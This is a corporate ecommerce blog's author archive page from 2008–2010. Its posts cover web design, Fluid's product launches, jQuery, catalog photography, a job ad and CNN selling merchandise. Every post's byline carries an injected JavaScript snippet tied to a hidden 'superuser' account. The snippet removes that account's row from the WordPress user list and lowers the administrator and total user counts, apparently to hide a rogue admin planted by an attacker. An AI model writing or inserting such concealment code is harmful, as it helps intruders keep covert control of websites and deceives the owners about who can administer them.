Author Archive

News or Facebook

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, February 17th, 2010

I’ve been learning the results of Olympic events via Facebook. Unintentionally. But it is happening.

I wonder how NBC feels about that? They (and everyone else) better figure something out because timezone delay is doomed.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Google Hire a Sea Change? Or Just a Continuing Tide?

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, February 17th, 2010

The definition of prescient from the definitive source of everything, Wikipedia:
“Having knowledge of events before they take place; possessing or exhibiting prescience.”

While he steadfastly claims not to have had inside information, with Google naming a VP of Commerce today, kudos go out to our Chief Experience Officer, Andrew Sirotnik, for predicting this in a blog post several weeks ago.

Since Andrew’s post built an interesting case for the move, I won’t elaborate except to say it is clear the stakes are rising on ecommerce in general and, more specifically, distributed commerce, where consumers are able to interact with brands and products from wherever they spend their time. It will be interesting to see where things evolve from here.

Nice prediction, Andrew. What do you have for us next?

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 2)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, March 18th, 2009

Yesterday, we discussed the key elements of packaging design, including messaging, presentation, structure, and brand artifacts. Using our “Oil of Olay” package as a case study, we highlighted the consequences of the “barrier to entry” that is created when packaging fails. Today, we’ll discuss how the design guidelines for packaging design apply to the practice of interaction design using another case study.

First and foremost, think about your web site as your “packaging,” and design accordingly—do not create a barrier to entry that separates customers from their end goal and hinders conversion.

When we reconsider the previously discussed factors of packaging design in this context, they align nicely with some familiar elements and ideas of good usability. We’ll review our packaging design principles in a new context below. As a case study, we’ll use the Rich and Skinny brand jeans site (http://www.richandskinnyjeans.com/RichAndSkinny/).
randskinny (more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 1)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Tuesday, March 17th, 2009

The other day, my mom sent me to the store to purchase a new skincare product made by Oil of Olay. I set out on my errand and procured a small tube of mysterious serum, sleekly packaged in distinctive, sculptural, plastic packaging. When I returned home with the goods, however, we made an amusing and shocking discovery:

We couldn’t get the package open.

Mom tried. I tried. No dice. Pliers were used. Even larger pliers were used. Finally, with a mighty tug, I yanked off the package’s lid—and in the process firmly socked myself in the eye.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Great Resource on Page Weight

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Tuesday, February 24th, 2009

At Fluid we are constantly tuning our work to deliver the richest experiences without sacrificing performance and download times. To that end, one of our lead engineers, Cody Lindley, put together a great resource on the page weights for the leading ecommerce pages. I wanted to share it here, for everyone’s benefit. (the pages highlighted in yellow are Fluid customers, though in some cases the pages measured were not built by us)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Announcing Fluid Lite

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Thursday, October 23rd, 2008

Yesterday Fluid announced Fluid Lite, which we believe is a significant step forward in the capabilities small and mid-sized ecommerce retailers are able to offer on their site. In short, this release means retailers that cannot afford or do not need the full interactive shopping capabilities of Fluid Experience can offer simple zoom, rotation/multiple views and color change on their site at an appropriate price point.

Initially we have launched Fluid Lite for the Yahoo! Stores platform through our partner Fast Pivot (www.fastpivotsoftware.com). For $200/month users can add the same rich zoom functionality that has been proven to increase conversion by 15-50%. Better, this is offered from a self-service site with virtually no need for implementation services (though the folks at Fast Pivot will do a great job helping you out, if you’d like). Even better, the integration with the Yahoo product catalog is built in, so you don’t have to do redundant data entry in Fluid Lite. There is almost no additional work.

The results from the first customer, Automoblox, have been tremendous. They have moved from a site with small, static images to utilize large, interactive images that really showcase their unique product. And ultimately, shopping is about engaging people with your products. We’ll share increase in conversion data with you once we’ve had enough traffic.

One of the most important aspects of the Fluid Lite offering is the deep integration with the ecommerce platform users get out of the box. The Yahoo Stores integration can automatically import product data so you don’t have any manual work. As we complete other integrations, Fluid will be working with partners to roll out Fluid Lite self-service solutions for other SMB ecommerce platforms, including Netsuite Commerce, Amazon Webstores and others. For customers that are already using those platforms we are able to help you now – it is simply the self-service piece and default integration we are working to put in place.

While we think Fluid Lite is an exciting alternative to overpriced imaging solutions on the market today, Fluid still offers Fluid Experience for customers that want to use interactive technology to increase conversion broadly across their site, from site arrival to conversion. Beyond the basic zoom and swatching solutions, Fluid Experience offers video, recently viewed items, suggestive selling and shoppable lifestyle photography.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Speaking At JQuery Camp

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Thursday, September 25th, 2008

This coming Sunday I will be giving a small case study talk at jQuery Camp 2008 (sold out) pertaining to the use of jQuery on the new northface.com site. The material I will be covering will be lessons learned with a focus on how jQuery fits into large scale projects.

Here is a quick overview of my talking points:

  • jQuery is the best choice for custom interfaces
  • jQuery code (all js code) goes at the bottom of the page
  • Almost all JavaScript code belongs in a single .js file
  • Protect your jQuery code from others with a self executing anonymous function
  • Fork IE from a single location
  • Use page identifiers to run jQuery code on unique pages
  • Play nice with others by using jQuery event namespaces

If you were lucky enough to get into jQuery Camp, I’ll see you there. If not, beg, borrow, or steal until you find a ticket. It’s going to be the jQuery event of the year!

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Catalogers’ Delight

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, August 27th, 2008

Many of the multi-channel merchants we work with have invested in beautiful photography that shows a range of products in highly branded settings. Many of these photos are shot primarily for print catalogs and, up to now, retailers haven’t been able to put these assets to affective use on the web.

In some cases, catalogers have uploaded versions of their print catalog to the web. While there are legitimate reasons to do this, Fluid’s customers have generally found results from these efforts disappointing. Conversion rates are low, as you would expect from directly translating a print layout to the web. Even with the fancy page flipping affect many of them add ;) .

In other instances retailers have simply taken the existing photo assets and overlaid merchandising text in Photoshop. While this serves the purpose, this text frequently looks cluttered and may significantly lessen the brand impact of the photo. These photos were taken to create an emotional connection between the shopper and a brand or product. Reading text overlays certainly lessens the visual impact and can also distract from the emotional connection of envisioning yourself in the scene.
Other retailers have used these assets as the basis for a richer shopping experience, creating tooltips that appear on mouse over. This is a great use of interactive technology but up to now has been resource intensive to produce. The manual production required to update a banner has required a designer to create the visual and an engineer to wire up the custom Flash or AJAX technology. By the time the banner is integrated into the site it could be a week or more later.

The Fluid Retail team has recently released an enhancement to Fluid Experience that allows retailers to more efficiently use rich brand photography on their site. Using our authoring tools virtually any member of the production team can pull in existing photography, mask out and associate products and publish the assets to the site without need of any technical skills. The whole process can be completed in a matter of minutes.

I’ve embedded an example of the type of interactivity that is possible with Fluid Experience below. Note that shoppers are able to learn about all the products shown, without leaving the photography that has engaged them. Combined with a quick shop window and mini-cart, this type of interactivity encourages the purchase of multiple products.

It is also worth noting that this merchandising component is embedded using Fluid Social’s content syndication capabilities, that allow anyone to take your site content to iGoogle, blogs, MySpace or Facebook.

As I said earlier, the real magic behind the Fluid technology is the authoring tool that eliminates the need to have Flash developers or IT involved in publishing new assets to the site. If you are looking for better ways to engage shoppers with rich product photography you should contact us to learn more.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

In search of… Lead Software Engineers

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Thursday, August 21st, 2008

Fluid is growing… we’re growing our expertise, we’re growing our client base, and we’re growing our team. We’ve got a number of positions available right now, but the one I’d like to highlight is our Lead Engineer position. At Fluid, the Lead Engineer really gets a chance to stand out, and be not only a technical leader, but a thought leader. We love to hear new ideas and find new ways to blow the minds of our clients.

This is a chance to really build your career working with the cutting edge of technology on projects for top shelf clients. Lead Engineer isn’t just a name we throw around, our leads really are at the forefront of the engineering team. They contribute at every phase of development from concept to launch, leading their team to the successful completion of each project and rave customer reviews.

So if you’ve got a talent for handling responsibility, working with others, and setting technical direction, even if you haven’t been a lead before, we want to hear from you! We’ve got a quick questionnaire to get the interviewing started right off the bat, so hop onto the link below and take the first step into a Dilbert-free life.

One other thing, if you’re not interested yourself but know someone who might be, refer them and get five grand if they get hired. That wasn’t a typo, it’ll be the easiest money you ever made.

Get Started Here: http://jobs.accolo.com/14202

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

CNN.com: Content Plus Commerce – To the Extreme

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Thursday, July 3rd, 2008

At Fluid we believe (passionately) in the intermingling of merging of the brand and shopping experience. As a practical matter, this consists of blurring the line between content and commerce so shoppers are not forced to choose between one or the other, but instead have a great experience that (hopefully) leads to a transaction.

Quite aside from the realities of doing this in a seamless manner, there are often organizational issues at play (brand content is often owned by marketing and commerce is owned by either consumer direct or the ecommerce team). But we believe strongly that this convergence is not only good for retailers but is good for consumers, allowing them to navigate to their interests without being blocked by some artificial, vendor created, division.

Thus, the something I saw today really caught my attention.

I am probably not alone in viewing CNN as a content-focused company. So you can imagine my surprise when I saw an icon for a t-shirt next to the news story I was reading. See the screen grab below:

What are those icons?

Certainly they couldn’t be featuring apparel on their site?!?! Time Warner is a media company!

Further investigation, as shown below, pretty clearly shows that selling t-shirts is exactly their intention.

Buying a t-shirt on CNN?

Personally, I think this is a brilliant move. Quite aside from the trend toward embracing the ironic in apparel, it should be a wake up call to retailers everywhere: The companies that engage their shoppers, whether with content or product, will carry the day. The line between content providers and retailers is getting fuzzier every day. Given the current upheaval in the media world, if you don’t believe the fashion magazines you advertise in now will be selling your competitors’ goods in the relatively near future you are in for quite a rude awakening.

Of course you can’t throw the baby out with the bathwater. If you are a company that makes shoes, your business isn’t going to be based upon writing critiques of Sarah Jessica Parker’s latest pair of  Manolo Blahnik’s over night. But it does encourage you seriously consider to how you can draw shoppers into your store, whether it be through rich interactivity or content, and engage them with your products.

Interesting times we work in…

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter